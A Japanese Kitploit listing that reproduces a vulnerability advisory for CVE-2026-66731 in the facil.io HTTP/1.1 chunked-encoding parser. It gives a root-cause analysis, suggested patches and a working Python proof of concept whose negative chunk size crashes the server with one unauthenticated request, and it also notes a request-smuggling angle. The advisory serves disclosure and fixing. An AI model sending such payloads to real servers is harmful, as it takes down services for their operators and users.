Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash — facil.io HTTP/1.1チャンクエンコーディングパーサーのバグに対する根本原因分析、PoCエクスプロイト、修正提案を含むCVE-2026-66731のセキュリティアドバイザリ | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
静的分析脆弱性分析コード分析ウェブセキュリティ
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

facil.io HTTP/1.1チャンクエンコーディングパーサーのバグに対する根本原因分析、PoCエクスプロイト、修正提案を含むCVE-2026-66731のセキュリティアドバイザリ

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
31ヶ月前未レビュー
共有

セキュリティ勧告: facil.io における負のチャンクサイズ解析によるメモリ破損

割り当て済み CVE ID: CVE-2026-66731

製品: facil.io
影響を受けるバージョン: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); 0.7.5 で 0.8.x HTTP/1.1 パーサーがバックポートされた際に導入されました - 0.6.x および 0.7.0–0.7.3 には存在しません コンポーネント: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (不適切な入力検証), CWE-682 (不正確な計算), CWE-125 (境界外読み取り)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究者: Theodosis Paidakis


概要

チャンク転送エンコーディングのパーサーは、チャンクサイズ値の先頭のマイナス記号を受け入れます。http1_atol16 は -FFFFFF のような入力に対して負の long long を返します。パーサーは「チャンク内部」を示すセンチネルとして content_length に 0 - chunk_len を格納します。chunk_len が負の場合、この減算は大きな正の値を生成し、ステートマシンを破壊します。その後のポインター計算により、読み取りポインターが入力バッファーの数百万バイト前、マップされていないメモリへ移動し、プロセスがクラッシュします。認証されていない POST リクエスト 1 つで十分です。


根本原因

ステップ 1: http1_atol16 が先頭のマイナス記号を受け入れる

lib/facil/http/parsers/http1_parser.h、316-346 行目

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

入力 -FFFFFF\r\n は chunk_len = -16777215LL を生成します。RFC 7230 のセクション 4.1 は、チャンクサイズを非負の16進整数として指定しています。先頭のマイナスは有効ではありません。

ステップ 2: ステートマシンの破損

lib/facil/http/parsers/http1_parser.h、681-690 行目

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

パーサーは、負の content_length を「現在チャンク本体を読み取り中」を意味するセンチネルとして使用します。content_length が +16777215 という正の値になると、ステートマシンは 16 MB の通常の(チャンク化されていない)本体を読み取っていると見なします。

ステップ 3: ポインターがマップされていないメモリへ逆方向に移動する

次の反復で、パーサーは次のように計算します:

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

そのアドレスからの読み取りはフォールトします。


概念実証

サーバーを起動してから、次を実行します:

root@kitploit:~
# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

ASAN 出力(確認済み):

root@kitploit:~
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

送信したチャンクサイズによる影響:

チャンクサイズ破損後の content_length結果
-00本体が静かにスキップされる; サーバーは生存
-1+1開始位置の 1 バイト前のポインター
-FFFFFF+16777215開始位置の 16 MB 前のポインター; クラッシュ
-7FFFFFFF+2147483647開始位置の 2 GB 前のポインター; クラッシュ

注: -0 の場合(0 - 0 = 0)は「チャンク本体の完了」分岐に該当しサーバーは生存しますが、サーバーは後続のデータにかかわらずリクエストを空の本体を持つものとして受け入れます。これは、フロントエンドがチャンクエンコーディングを異なる方法で解析するプロキシ環境において、リクエストスマグリングのプリミティブとして機能する可能性があります。


影響

負のチャンクサイズを持つ単一の認証されていない Transfer-Encoding: chunked リクエストがサーバーをクラッシュさせます。HTTP/1.1 を受け入れるすべてのアプリケーションが影響を受けます。チャンクエンコーディングはプロトコルのコア機能であり、アプリケーションレベルの設定を必要としません。


修正

どちらの方法でも十分です。修正 1 を推奨します。

修正 1: http1_atol16 で先頭のマイナスを拒否する

lib/facil/http/parsers/http1_parser.h、322 行目

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

修正 2: 使用前に chunk_len を検証する

lib/facil/http/parsers/http1_parser.h、681 行目

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

以前のセキュリティ修正との関係

コミット 53caca31(「Fix atol16 to fix chunked length calculation」、2019年12月)はオーバーフロー検出ループの条件を修正しましたが、符号処理コードは残しました。コミット fe847cdf(「fix HTTP/1.1 parser against smuggling attack」、2020年5月)は TE/CL の競合(Transfer-Encoding と Content-Length の両方が存在する場合)に対処しました。どちらも負のチャンクサイズには対応していません。

ツールをダウンロード